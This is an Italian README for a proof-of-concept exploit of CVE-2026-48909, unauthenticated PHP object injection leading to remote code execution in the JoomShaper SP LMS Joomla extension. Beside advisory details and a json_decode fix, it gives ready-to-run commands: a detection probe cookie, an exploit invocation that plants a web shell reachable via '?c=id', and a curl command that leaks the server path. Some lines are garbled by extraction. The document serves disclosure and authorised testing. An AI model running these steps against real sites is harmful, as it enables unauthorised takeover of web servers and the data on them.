
Exploit proof-of-concept per CVE-2026-48909: esecuzione remota di codice non autenticata tramite iniezione di oggetti PHP in JoomShaper SP LMS. Include indicazioni per rilevamento, sfruttamento e remediation.
Esecuzione remota di codice non autenticata tramite iniezione di oggetti PHP in JoomShaper SP LMS (com_splms) ≤ 4.1.3 per Joomla CMS.
Autore: Amin İsayev / Proxima Cyber Security
SP LMS è una popolare estensione Joomla Learning Management System di JoomShaper con oltre 100.000 installazioni. Le versioni ≤ 4.1.3 passano il cookie direttamente a senza alcuna validazione, consentendo a un attaccante non autenticato di iniettare un oggetto PHP malevolo e ottenere l'esecuzione remota di codice tramite la catena di gadget nativa di Joomla.
lmsOrdersunserialize()| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| Versioni vulnerabili | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| Corretto in | SP LMS ≥ 4.1.4 |
| Req. Joomla | < 5.2.2 (catena di gadget corretta in 5.2.2) |
| CVSS 4.0 | 9.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: Deserializzazione di dati non attendibili |
| Autenticazione richiesta | Nessuna |
| Divulgata | 2026-05-26 |
| Pubblicata | 2026-06-20 |
components/com_splms/models/cart.php riga 28:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← input utente non attendibile
Il cookie lmsOrders viene decodificato in base64 e passato direttamente a unserialize(). Un attaccante controlla interamente l'oggetto deserializzato.
La classe FormattedtextLogger di Joomla fornisce il gadget:
lmsOrders cookie (attacker-controlled)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla gadget]
└─► initFile() → File::write($path, $format)
└─► PHP code written to disk → RCE
Nota: la RCE richiede Joomla < 5.2.2.
Joomla 5.2.2 ha correttoFormattedtextLogger.__wakeup()(vedi PR #44428).
L'iniezione di oggetti PHP esiste ancora in com_splms ≤ 4.1.3 su tutte le versioni di Joomla.
Il Input\Cookie::get() di Joomla applica un filtro cmd di default, rimuovendo +, / e = dal valore del cookie — caratteri presenti nel base64 standard. L'exploit utilizza:
$, _, {, }, \n)=)/ e + dall'output base64python3 CVE-2026-48909.py https://target.com
[*] Target : https://target.com
[*] Path : /index.php?option=com_splms&view=cart
[*] Probe : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell attiva su
https://target.com/tmp/x.php?c=id
Trovare il percorso del server (se sconosciuto):
# Hosting cPanel — il percorso trapela dalle pagine di errore di Joomla
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Percorsi comuni da provare:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders prima della deserializzazione:// NON utilizzare unserialize() su dati controllati dall'utente
// Utilizzare json_encode/json_decode
$cartItems = json_decode(base64_decode($raw), true) ?? [];
Questo strumento è rilasciato solo a scopo educativo e per test di sicurezza autorizzati.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo programma.
Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta al test.
Amin İsayev / Proxima Cyber Security — 2026